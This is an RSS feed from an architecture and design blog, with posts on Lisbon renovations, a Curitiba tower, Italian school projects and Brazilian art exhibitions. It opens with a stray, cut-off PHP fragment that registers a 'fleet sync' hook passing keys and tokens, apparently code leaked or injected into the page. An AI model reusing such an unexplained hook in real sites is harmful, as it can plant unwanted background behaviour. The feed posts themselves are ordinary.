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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Emilia Schäfer – archi-dome https://archi-dome.com Fri, 13 Jun 2025 11:01:54 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 Sb44 Building by ÔCO https://archi-dome.com/architecture/sb44-building-by-oco/ https://archi-dome.com/architecture/sb44-building-by-oco/#respond Fri, 13 Jun 2025 11:01:47 +0000 https://archi-dome.com/?p=5387 Building SB 44, located in the São Bento neighborhood, in Lisbon, Portugal, is the result of the renovation of a “Gaioleiro” city building from the end of the 19th century. Its construction is characterized by thick perimeter walls, in mortared stone, with wooden floors, Lioz stone window frames, ceramic tile roof and a facade covered in traditional tiles.


The building consists of two volumes. At the front, the main residential volume, with 5 floors, and at the back, a two-story warehouse that served the commerce that existed on the ground floor.
The intention of preserving the identity and chronology of the building dictated that the facades were maintained and preserved, innovating in the interior.


Small apartments were created, meeting the demand at the time. Traditional materials were used, such as pine flooring, color patterned cement tiles, Lioz stone. Atriums and corridors stood out for their contrast, with a bolder design, favoring concrete, metal and integrated lighting.


The connection between the two volumes is materialized with a wooden pergola, and a minimalist garden, with tree bark and a birch tree in the center.

]]> https://archi-dome.com/architecture/sb44-building-by-oco/feed/ 0 Casa Caramão by ÔCO https://archi-dome.com/architecture/casa-caramao-by-oco/ https://archi-dome.com/architecture/casa-caramao-by-oco/#respond Tue, 10 Jun 2025 10:11:25 +0000 https://archi-dome.com/?p=5371 Casa Caramão, in the Bairro do Caramão da Ajuda, Lisbon, Portugal, is part of a homogeneous set of houses built between 1940 and 1945, on the southern slope facing the Tagus River. The neighborhood consists of two-story row houses, with front and backyards.

The renovation of the building stems from the desire to adapt the existing space to the needs and expectations of a young couple, prioritizing the relationship between the interior and the outdoor gardens. In the approach to the facades, an effort was made to respect the characteristics of the neighborhood, keeping the house faithful to its shared identity.


Inside, the focus was on creating surprise and novelty, particularly in the practical and functional aspects of the house, such as the “reading cabinet,” storage solutions, visibility between spaces, and flexibility in compartmentalization.


In the selection of finishes and materials, an effort was made to reproduce the tones and textures of the vegetation found outdoors, prioritizing natural and traditional materials, such as brushed oak flooring, polished cement, and glazed Portuguese ceramics.

]]> https://archi-dome.com/architecture/casa-caramao-by-oco/feed/ 0 Lóios Gymnasium by ÔCO https://archi-dome.com/architecture/loios-gymnasium-by-oco/ https://archi-dome.com/architecture/loios-gymnasium-by-oco/#respond Mon, 09 Jun 2025 12:06:50 +0000 https://archi-dome.com/?p=5357 The Lóios Neighborhood is located in Marvila, Lisbon. It was built between 1979 and 1981, as a result of the Chelas Urbanization Plan, promoted by the Lisbon City Council, the Portuguese Government, and also under a cooperative regime.

With a strong social character, it brings together diverse cultures and different ways of appropriating and experiencing urban space.

The Lóios Gymnasium is located in the center of a group of residential buildings and represents a very important element for energizing the resident population. Until then, the pavilion was rundown and its facilities were insufficient for the demand. At the initiative of the Marvila Parish Council, the pavilion’s changing rooms were renovated and expanded, adding a new gym room.


The main vector of the project was the need to obtain a low-cost construction, resorting to alternative construction solutions, using primary materials as the final finish. That is, an attempt was made to use economical materials in an optimized way, insofar as their application resulted in a resistant and even sophisticated final finish.

]]> https://archi-dome.com/architecture/loios-gymnasium-by-oco/feed/ 0 AGE 360 by ARCHITECTS OFFICE + Triptyque https://archi-dome.com/architecture/age-360-by-architects-office-triptyque/ https://archi-dome.com/architecture/age-360-by-architects-office-triptyque/#respond Thu, 05 Jun 2025 12:48:04 +0000 https://archi-dome.com/?p=5343 AGE 360, a new residential building designed by Greg Bousquet of Architects Office for the developer AG7, is transforming the landscape of the Ecoville neighborhood in Curitiba by proposing a vertical architectural landmark that combines technical innovation, sustainability, and quality of life.

The 124 meter-tall building was designed to be an urban icon, reflecting the relationship between structural pragmatism and architectural poetics that defines AO’s projects.

Wellness Building
The concept of “wellness” was central. AG7 wanted an environment that promoted silence, well-being, and reconnection with nature. The common areas were covered in natural wood, creating a harmonious contrast with the concrete and vegetation. The core of the building, exposed in some places, also received this treatment to emphasize biophilia and welcoming.

AGE 360 won awards such as the iF Design Award 2021, received recognitions such as the IF Design Awards 2021, the Honorable Mention at the Architecture Masterprize 2020 and the Rethinking The Future Awards 2022 in the Housing category, the Rethinking the Future seal and the FITWEL certificate, which recognizes projects focused on the health and well-being of users.

These recognitions highlight the positive impact of the project on the real estate market and the urban context of Curitiba. The first Brazilian wellness building places all the pillars of well-being for residents in a project that unites three unique seals: Green Building Council (GBC), FITWEL, and Lapinha Spa, a pioneering well-being and integrative health retreat.

Architectural landmark
A residential building is visible from various city points without losing connection with the surroundings. The low-density site with privileged views of Barigui Park imposed structural and volumetric challenges. Using a procedural methodology, AO carried out 48 volumetric studies to complete the final configuration, comply with local regulations, and maximize the urban and natural perspectives, revealing a dynamic volumetry with chamfers that became the project’s identity.

Integration between mineral and organic elements
AGE 360 adopts a concrete exoskeleton to ensure flexibility in the interiors and free the apartments from pillars. This structural solution optimizes the internal layout and redefines the relationship between residents and space, offering versatile layouts and unobstructed views. The decision also introduced a strong aesthetic element, emphasizing the tower’s verticality and dialoguing with the concept of lightness.

]]> https://archi-dome.com/architecture/age-360-by-architects-office-triptyque/feed/ 0 Sculptural Pieces By Lucas Jimeno Dualde https://archi-dome.com/products/sculptural-pieces-by-lucas-jimeno-dualde/ https://archi-dome.com/products/sculptural-pieces-by-lucas-jimeno-dualde/#respond Wed, 04 Jun 2025 10:34:41 +0000 https://archi-dome.com/?p=5331 Lucas Jimeno Dualde has presented a collection that challenges the notion of structure. A set of limited edition collectible tables emphasizes the connection with the material, the process, and the context. Constructed from stone and wood, it proposes a dialogue between weight and balance.

There is no glue, screws, or intervention beyond the precision of its assembly. Each piece relies on the density of the material itself, a method that invokes a sense of permanence while rejecting excess.

The concept comes from the fusion of languages. Names such as Angelo Mangiarotti, whose work with the weight of the material and joints set a precedent for this type of rigor, and Isamu Noguchi’s exploration of stone, where function dissolves into art, are starting points but not definitions. Dualde’s work permeates architecture, interiors, and furniture, imprinting his vision for subtlety, intimacy, and silence.


The pieces were seen at the 20th Design Miami in dialogue with names such as Lina Bo Bardi and Francisco Brennand through the JCRD Design Gallery. In Brazil, the pieces can be ordered directly from the architect.

]]> https://archi-dome.com/products/sculptural-pieces-by-lucas-jimeno-dualde/feed/ 0 Dan Galeria Presents Pã Sem Flauta Cabral Until March 8, 2025 https://archi-dome.com/architecture/dan-galeria-presents-pa-sem-flauta-cabral-until-march-8-2025/ https://archi-dome.com/architecture/dan-galeria-presents-pa-sem-flauta-cabral-until-march-8-2025/#respond Wed, 28 May 2025 12:17:52 +0000 https://archi-dome.com/?p=5319 When, in 1970, Cabral began studying at the Faculty of Architecture and Urbanism at the University of São Paulo (FAUUSP), the night sky of São Paulo had already loosened its constellations, and the lights of his studio gradually imposed themselves on the young artist. Sculptures, objects, paintings, drawings, engravings, and texts took turns as tools and constituent material.

His many phases, always driven by interests in different fields of study, served as a foundation for future processes and projects. Thus, Cabral’s work consolidated perspectives, subjects, and techniques, associating them initially and profoundly, heading down the expressive path. For him, everything speaks to everything. The line is a drawing that embodies movement, gesture, and dance. Rhythm, timbre, music, and even, through the calibration of power, create chromatic and psychic analogies. The exhibition title refers to one of the works on display – Pã sem Flauta from 2023, oil on canvas, 160 × 120 cm. Today, with sixty years of career, the artist’s work emerges and is in private and institutional collections in Brazil and abroad.
I think of the figure as derived from painting. The painted figure, however, is everything I do not desire. In the case of drawing, the figure that comes from the line, born from the line, resolves me.


It would be better if, after the act of painting or tracing, we could say that there is a coincidence between figure and painting, line and figure as if It were interchangeable subject and predicate: the painting that is a figure, the figure that is a line. And so, what can painting figures provide to the eye? If what is perceived should not be dismembered and what is understood is not pure understanding, it is impossible to separate color from form, the act of painting from painting, and the line from tracing. I believe that looking is a way of being, that painting is not there to designate the image, that is, that painting is not at the service of representing the cat, the landscape, or the table; instead, possible ghosts emerge from it, emerging at the intersection between painting and looking.

The figure has always been an object of reflection for me. Since the first drawings of 1970, I have sought to empty the figurative, removing the flat forms that result from it and deviating from the obvious inherent in its structure. In the 1980s, when I was fully involved with observational painting, I realized that one of the impediments to figurative painting was the discontinuity between background and form since the separation privileges the figurative framing while the tension between the figure and what is outside it privileges the painting.

]]> https://archi-dome.com/architecture/dan-galeria-presents-pa-sem-flauta-cabral-until-march-8-2025/feed/ 0 Brainlab Presents: Rooted Female Brazilian Artists https://archi-dome.com/technology/brainlab-presents-rooted-female-brazilian-artists/ https://archi-dome.com/technology/brainlab-presents-rooted-female-brazilian-artists/#respond Mon, 26 May 2025 12:26:00 +0000 https://archi-dome.com/?p=5298 The Culture Program of Brainlab, a leading provider of digital medical technology, presents the exhibition ROOTED Female Brazilian Artists at the company’s headquarters in Munich-Riem. Curator Tereza de Arruda conceived the exhibition by connecting works by Brazilian artists from the Vilsmeier – Linhares Collection with other artists, some of whom have specific works for the occasion.
Project Name: Rooted Female Brazilian Artists
Studio Name: Brainlab

©Brainlab


ROOTED tells the story of the relationship between humans and nature, which connects all the works on display, organized around different aspects of this connection; this exhibition builds on
the company’s previous exhibition, Unrooted, held in the first half of this year, which addressed the traumas of displacement and migration. This sequence also implicitly suggests that we can overcome the uncertainty of identity and origin by returning to our “roots” in nature. Through the eyes of these Brazilian artists, we are invited to examine our relationship with nature and draw new strength from it.

©Brainlab


Divided into five sections, ROOTED presents the role that the relationship between humans and nature continues to play in artistic production. Linked by this affinity, the 15 contemporary artists deliver a “Tropical Expressionism” that Tarsila do Amaral, a pioneer of Brazilian Modernism, also represented in this exhibition, coined half a century ago.
– ORIGIN
Roots refer to a person’s family origins, ancestry, and the traditions passed down from generation to generation. These roots form the basis of a person’s identity. Today, Brazil is working to come to terms with its history. Brazil’s postcolonial roots are a complex web of historical, cultural, and social influences that have shaped and continue to shape the country. They are essential to understanding Brazilian identity and the nation’s challenges. Brazilian artists Carmezia Emiliano, Sonia Gomes, Iêda Jardim, and Rosana Paulino explore their country’s postcolonial roots and complex identity, reflecting on the multiple influences and conflicts resulting from the colonial era and its consequences.

©Brainlab


– IDENTITY
Brazilian culture is characterized by its diversity. Its cultural roots are based on the influences and traditions of different continents, which come together to shape its thinking, behavior, and values. In nature, roots connect plants to the soil and provide them with food. Likewise, cultural influences anchor people in their community and history, giving them a sense of belonging and identity. The representation of the environment and everyday rituals are expressions of customs that integrate people into their private, social, and historical contexts. Tarsila do Amaral, Beatice Arraes, Lúcia Laguna, Paula Siebra, and Larissa de Souza portray these elements in their work.

– CONNECTION
Emotional connections and trust are roots that stabilize a relationship and help people overcome challenges together. Being deeply rooted in a relationship means having a strong emotional bond, a deep understanding of each other, and mutual support to grow together. The pieces by Ahzuli, Rosilene Ludovico, and Alexandra Ribeiro highlight these relationships.

– NATURE
Nature plays a central role in art and has inspired artists for centuries. This engagement goes far beyond mere contemplation and imitation. Today, artists often interpret landscapes more
abstractly or conceptually, using various media to explore the relationship between humans and nature. In many cultures and artistic traditions, nature symbolizes concepts such as life, death, rebirth, and harmony – alluding to the transience of our existence. For Solange Pessoa, Laura Lima, and Luzia Simons, nature plays a crucial role in their artistic work, whether in a stylized form or the representation of nature’s power.

©Brainlab


– SUSTAINABILITY
In the context of nature, it is not only roots that have a central and diverse meaning but also earth, water, and air — elements crucial to life. Artists work with natural elements in their pieces, promoting a deeper understanding and awareness of the environment. They use natural materials and motifs to portray nature’s beauty, importance, and fragility and draw attention to sustainability issues. It’s the case of Marlene Almeida, who has been researching and using natural pigments for fifty years and designed a monumental installation for this exhibition.

]]> https://archi-dome.com/technology/brainlab-presents-rooted-female-brazilian-artists/feed/ 0 Monolyt By Architects Office https://archi-dome.com/architecture/monolyt-by-architects-office/ https://archi-dome.com/architecture/monolyt-by-architects-office/#respond Fri, 23 May 2025 08:06:59 +0000 https://archi-dome.com/?p=5288 At Estaleiro Beach, architecture emerges from the mimesis and poetics of the erosion process, incorporating natural elements and human presence as agents. The millennial process guides volumetric architectural operations, aiming to integrate the built and preexisting environments. It proposes a solution that respects scales, experiences, and the local context, leaving a positive legacy in the region. From the first visit to the site, it became evident that the coastal context of Santa Catarina, marked by urban verticalization over the last 50 years, required an architectural response that could preserve the essence of the place: unique geological formations, with rocks of varying resistance, shaping a coastline of almost untouched natural beauty.

The MONOLYT residential project, which is scenic, cinematic, and atmospheric, draws on rocks as its conceptual spark. The concept extends beyond the natural element, inspiring the creation of forms and volumes that evoke the erosive process. Human intervention aligns with natural wear, sculpting spaces, and pathways that respect and celebrate the original rocks, maintaining the balance between raw and refined.
Project Name: Monolyt
Studio Name: Architects Office

©Architects Office


Rock as a Monument
With topography defined by the unevenness between two plateaus, the 180-meter-deep site is juxtaposed between the sea and the river. Considering the APP (Permanent Preservation Area) strip, 30 meters of native vegetation by the watercourse are respected and preserved in their original state. The project begins to take shape only from the remaining stretch: a transitional architecture mimicking local symbols.

©Architects Office


A large monolith emerges from the ground. This raw rock is sculpted by human erosive processes and synthesized into two adjacent volumes occupying distinct levels. Each resulting block is eroded to form central courtyards, admitting natural light and ventilation in a rhythm of solids and voids. The program erodes the monolith. The four residential units on each floor divide the blocks into their respective sections, each oriented differently, following a logic of staggered stratification. The fissures between these sections create new permeability, creating user pathways and voids as subsystems of open spaces inhabiting the sculpted rocks.

©Architects Office


Rock as Atmosphere
The journey across the site, extending to the Permanent Preservation Area (APP), transforms walking into a playful experience. Landscaping that restores native vegetation delineates social areas, strengthening the bond with pre-existing nature. The flooring, composed of rocky fragments, guides paths connecting the internal areas of the residence, creating visual and sensory continuity.

©Architects Office


Water emerges as the last and most symbolic element of this ecosystem. On the ground floor, reflecting pools evoke the sensation of entering a grotto, connecting architecture and nature. Private pools interact directly with the original rocks within the units, symbolizing MONOLYT’s identity and a link between the project and its natural surroundings. This underlines the integration between minerals and water.

]]> https://archi-dome.com/architecture/monolyt-by-architects-office/feed/ 0 Leopoldo Pilla School by TARI-Architects https://archi-dome.com/architecture/leopoldo-pilla-school-by-tari-architects/ https://archi-dome.com/architecture/leopoldo-pilla-school-by-tari-architects/#respond Thu, 22 May 2025 10:34:51 +0000 https://archi-dome.com/?p=5278 The proposal for the new school ‘Leopoldo Pilla’ in Venafro emerges as part of the Italian national project of the Scuola Futura – La Scuola per l’Italia di Domani, aiming to provide modern and adapted educational edifices to the local communities all around the country.
Project Name: Leopoldo Pilla
Studio Name: TARI-Architects

©TARI Architects


One of the starting points of the intervention focuses on investigating the critical dialogue between the educational edifice and the surrounding context, in order to define its social intent. The complex, in fact, presents itself not only as a space for education but above all as a city place, in which society and sociality could be daily reinforced.

©TARI Architects


A place where the children, in addition to studying, will be able to understand the importance of growing up as part of a cohesive community, while the families will benefit from a meeting spot open to the city.

©TARI Architects

©TARI Architects


The large elevation developed along the main street has multiple functions and meanings: a backdrop to the square itself as well as a landmark for the city, a device for an active dialogue with the citizenry as well as a protecting diaphragm for the school environments and for the green backyard that emerges as a green heart related to the didactic spaces.

]]> https://archi-dome.com/architecture/leopoldo-pilla-school-by-tari-architects/feed/ 0 FAI BENE School by TARI-Architects https://archi-dome.com/architecture/fai-bene-school-by-tari-architects/ https://archi-dome.com/architecture/fai-bene-school-by-tari-architects/#respond Sat, 17 May 2025 11:06:01 +0000 https://archi-dome.com/?p=5267 The intervention site is located in the northern area of Rimini, in a strip of land between the green countryside of the Romagna region and the deep blue of the Adriatic Sea.
Project Name: FAI BENE School
Studio Name: TARI-Architects

©TARI Architects


While currently preserving a green, undeveloped state, being surrounded by lands of predominantly agricultural use, the plot destined to accommodate the new primary school is subject of a strategic intervention on a larger urban scale, aimed to strengthen the connection with the sea via green links.
A critical reading of the existing context leads to a fundamental question: How to properly intervene according to the peculiarity of the site, accommodating the needs of the developing city while protecting the natural landscape?

©TARI Architects


On the one hand, the new school will have to fit organically into the morphology of the peri-urban fabric in which it is inserted; on the other, it will have to embrace the landscape dimension in order to become a unique space. In this context, the relationship between nature, uncontaminated, and the built, artifice, emerges not as antithetical, opposed, but as dialogic and precisely resolved in the physical space of contact between one and the other.

©TARI Architects


The new volume is conceived, in fact, as gradually leaning towards the surrounding natural context, opting for morphological and figurative solutions favoring a system profoundly integrated with the exterior, developed on a single level and acting as a spatial synthesis between the urban and natural landscapes.

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